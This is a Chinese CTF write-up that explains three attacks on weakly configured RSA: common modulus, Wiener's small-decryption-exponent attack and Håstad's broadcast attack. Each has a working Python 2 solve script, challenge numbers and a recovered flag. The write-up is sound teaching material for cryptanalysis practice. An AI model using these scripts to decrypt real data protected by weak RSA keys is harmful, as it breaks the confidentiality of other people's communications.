4096位的RSA加密,要不是这里存在共模攻击说不定你死活都解不开

题目给出了3个文件,其中2个明文是分开加密后的密文,另一个veryhardRSA.py则是加密脚本,我们通过分析加密脚本进而写出解密脚本。

查看加密脚本发现明文m、模数n相同,但是公钥指数e1和e2不同,而且e1与e2互素(上面给过判断2数是否互素的脚本)

python2:

import gmpy2
from Crypto.Util.number import long_to_bytes

e1 = 17
e2 = 65537
n = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929
c1=int(open('./flag.enc1','rb').read().encode('hex'),16)  
c2=int(open('./flag.enc2','rb').read().encode('hex'),16)  

_, r, s = gmpy2.gcdext(e1, e2)

m = pow(c1, r, n) * pow(c2, s, n) % n
print long_to_bytes(m)

低解密指数攻击(e过大或过小,一般e过大时使用)

​在RSA中d也称为解密指数,当d比较小的时候,e也就显得特别大了。

适用情况:e过大或过小(一般e过大时使用)

在e过大或过小的情况下,可使用算法从e中快速推断出d的值,进而求出m

eg . 我不是个人
n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597L
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619L
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
求明文m

然后把exp.py放入这个目录中运行即可(Python2 )

#!/usr/bin/python
#coding:utf-8

import gmpy2
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import long_to_bytes 

def wiener_hack(e, n):
    # firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    print("Hacked!")
                    return d
    return False
def main():
    n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
    e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
    c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
    d = wiener_hack(e, n)
    m = pow(c,d,n)
    print long_to_bytes(m)
if __name__=="__main__":
    main()

低加密指数广播攻击(模数n、密文c不同,明文m、加密指数e相同)

如果选取的加密指数较低,并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。

适用范围:

模数n、密文c不同,明文m、加密指数e相同。

一般的话e=k k是题目给出的n和c的组数。

image

eg . Jarvis OJ -2018强网杯nextrsa-Level9

题目给出

image

n1,n2,n3,

c1,c2,c3,

e,

求明文m的值。

python2

#!/usr/bin/python
#coding:utf-8

import gmpy2
import time
def CRT(items):
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s = gmpy2.gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N
# 读入 e, n, c
e = 3
n = [8564529398597496052509875513481234511905571293608253591774352345237876733293108831203723008958367224489489969614656703455962549261315442327443089652074571708651505447379309166100331065440172781968875497386410667715026180057913363208450111095566219238303387888025161407043477291378931412269049849744457547932264137377411127192940332805452317547219248055802197050456726624516860024108642571703812719370387292166670300197241575461417648592309869669813374010765766544607691011957968652581504886331252936146901456910589102484807039294566703917033093028140452849747910537865958098720693569821256189593894121111357731919189L,12222166297277342805260668042066733749258843622057497574551492680820573970618063356710810891221670366396148862070530068431772630271300064517141331380959413811482890080103511756363920299387620181525172247384085449944650678616398890947062703879307721506228672839270493453501648644787019360131991056158375296484870723717496184332078521221915234959627683952251865227849249752415242124235776428944052873501045127442031423538183282845800971359590735184850648986263721823804859410866927117413289461014754456802566932965710529063515405296476007642849800772934170961993925017146017197762805148533435040675962332469643915192423L,5057224034499776793532654516178914954537547410664409403680432108569079856741764362023185604595829263918927121465578691201904227912897025244771553860102714429349163283510695391193774853323951653123109509215361937850724934183826508070404239791710229214063382081391564954935544392514769166830815475459218792639383796711824752291158895292103354274632470559179266550681095452239666165213986993496109747058314685303485222302144835490056402939133225003233112131275635419321982899965440912525225759368684717157077161771778903529280898069381899400305195745292409238361901176051346615633641550303346790420492393767770845418243L]
c = [20010971557789931948130798983030201950038450269144104532821030667924400788869920238579729514672630221804096063149106742412869966814701225466606392171030411339119559280790040322081104363393453503417465768386174002015870794567148694722215873094298859132439253412531445187990845476275251348800166731481176155530755581153710085966976765505591809596417849783597055650440598035159288091495453205698044687869932756053447012994409598155552263807571713982758132066319612777306466708222135510918174055647735727504029507503430288609410745159037684948343055275573269067165460711584845480188706531450367147105629493736100726092945L,19200052919818196558567528701224082155105852846109782021681848107226495293687021416871117444987923837810238872836818190457667509409714021669160815809413653880491792640346474248859559867743715715552372738909255050196638006472279364316678941257894898953088366861786500472095752890593521428325838148184891778283229870316694059734109045397448347320487605412988229047015174998893589731503114337273121463601984792339337970193596813660178636222764332155999993506914518600565394196792457144962180040786607335687020278442899146954126853580244264273526509238060494624980807993322975135366653181977147866567146492356137019414255L,1394721540127922627584993749596603212491913755865039994631041458882716953251760080638497574652888386411767951258467542002582418260315909190241131591474627765734174146981015346732559115044918706641616288474447294129332475081232268241201488455865700933615291016346552048997127415783072860387265063527874160016186183078384940312292521628077750464413013768765371508493304331719166196330883242895556903378707199640686499970367957552543041110199009425369612644492288765891769004579050802446992426813215932250347386859783813875543314196764160792696291742850356532493945652482643696238487389412404616537620013009141601852080L]

data = zip(c, n)
x, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print m
eg . 存货6

题目给出n1,n2,n3,c1,c2,c3,e,求明文m的值。

image

# python2
#!/usr/bin/python
#coding:utf-8

import gmpy2
import time
from Crypto.Util.number import long_to_bytes

def CRT(items):
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s = gmpy2.gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N
# 读入 e, n, c
e = 9
n = [142782424368849674771976671955176187834932417027468006479038058385550042422280158726561712259205616626939123504489410624745195777853423961104590708231562726165590769610040722589287393102301338152085670464005026301781192671834390892019478189768725018303217559795377795540494239283891894830166363576205812991157L, 153610425077816156109768509904751446801233412970601397035720458311275245730833227428213917577405780162151444202393431444812010569489900435979730559895340377469612234558042643742219128033827948585534761030527275423811282367831985007507137144308704413007806012914286105842311420933479771294576841956749281552971L, 152540067782701001222493009941492423063369171831039847414320547494725020441901272486665728360741395415762864872737675660423920609681185809510355937534756399208661762715484879562585724584849261266873624875852300611683382543315580370484972470694466195837255994159609193239840228218925381488410059939975556977947L, 125842716702134814646356078531900645012495638692517778270527426844383063904041812273637776798591687732598509470005151551320457132061693618473039437320011446697406190781306264437609046721508738109650829547010385875425097336266103994639126319889016342284747700714199556143378526590058467791687837422897022829661L, 116144389285266462769913139639175922392318396923181100785008570884082681963637784423143843845816350379438789947802939701820129805341796427821894273985551331666719808355412080909245720551238149511778060242720419584504473490216670437024863860559347959698828131475160058721701582089480924088773887932997353631767L, 127833907448946785858374094953899556339175475846831397383049660262333005992005484987913355932559627279178940862787593749842796469355336182379062826441222705075178971785791223706944120681105575965622931327112817747065200324610697178273898956820957640413744954233327851461318200323486469677469950386824833536523L, 130561613227079478921314550968562766645507834694262831586725464124109153306162445639759476845681271537955934718244296904503168256991962908095007040044300188572466395275317838178325500238288302672390013747102961340256309124310478931896245221622317302428447389760864327859640573452084295225059466376349115703119L, 115953389401040751013569404909249958538962411171147823610874077094621794755967854844224923689925397631692572916641171075740839099217316101334941033937183815345038898177087515909675028366437302462022970987947264115373697445950951595479758872029099661065186221250394358255523574834723958546450323357472451930993L, 143437107845384843564651522639125300763388830136500260725097766445883003928355325003575359566631064630487365774344508496878731109174874449170057678821440711511966073934025028100604234445470976333825866939923998344367645612128590820812489407412175198698290167077116185959180877334222693344630253253476594907313L]
c = [85033868418784308573673709960700777350314426427677627319697346811123742342359072170220428874952996988431950989321281905284522596263957356289624365171732095210045916218066135140320107686084053271623461104022705353814233772164502775939590711842361956121603943483040254727995655776263673058788416722141673409688L, 66065963470666895005407449599703926269325406456711861190876894466341571726360462706664546294453572319565476664348345756905411939632955966517708138047546806602828064213238537646393524578984547577761559965654539771172357089802682793169968961304179886652390277814477825753096636750388350662980872556701402397564L, 116011740820520887443111656288411611070614127688662643257265381793048354928820176624229624692124188995846076431510548507016903260774215950803926107831505634778278712070141663189086436127990584944132764896694777031370995058271038329228336417590284517922855284619653301817355115583540545182119702335431334401666L, 97640420284096094887471273365295984332267897927392169402918423863919914002451127544715668846623138003564829254309568918651163254043205129883843425179687841236818720463784828905460885026290909768599562386370732119591181513319548915478512030197629196018254041500662654260834562708620760373487652389789200792120L, 8112507653841374573057048967617108909055624101437903775740427861003476480616929517639719198652146909660899632120639789106782550275648578142883715280547602249589837441805676364041484345030575130408744621981440093280624046635769338568542048839419939250444929802135605724150484414516536378791500915047844188300L, 36792148360808115566234645242678223867680969786675055638670907933041180936164293809961667801099516457636164692292891528415720085345494773373966277807505798679784807614784581861287048096977968620964436947452527540958289441390882589051225367658014709290392321808926567572528170531844664734909469690750971883323L, 53043093283305492238903255767698153246673671181809989362223466090875767705978690531154079519999671834688647277179370374802495005937892824566602423646978168777735383632928274082669949750078161820002768640908750005814934158829006019656592134357897586040866207754535586785064545866404380204728594863102313407789L, 88499407133762624445946519155722583633934260410706930537441122463087556094734626189377091740335667052378955691250910459790202385799502439716173363179773811920751410726795431402796346647688144853156900427797933862087074385441977254140336390678022955770879265490567987868532251217565094093318626424653599450992L, 138337520305048557335599940473834485492131424901034295018189264168040969172072024612859307499682986987325414798210700710891033749119834960687318156171051379643844580970963540418974136891389303624057726575516576726845229494107327508855516437230240365759885913142671816868762838801720492804671259709458388192984L]
data = zip(c, n)
x, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print long_to_bytes(m)

#Tr0y{e=3_1s_danger0us!}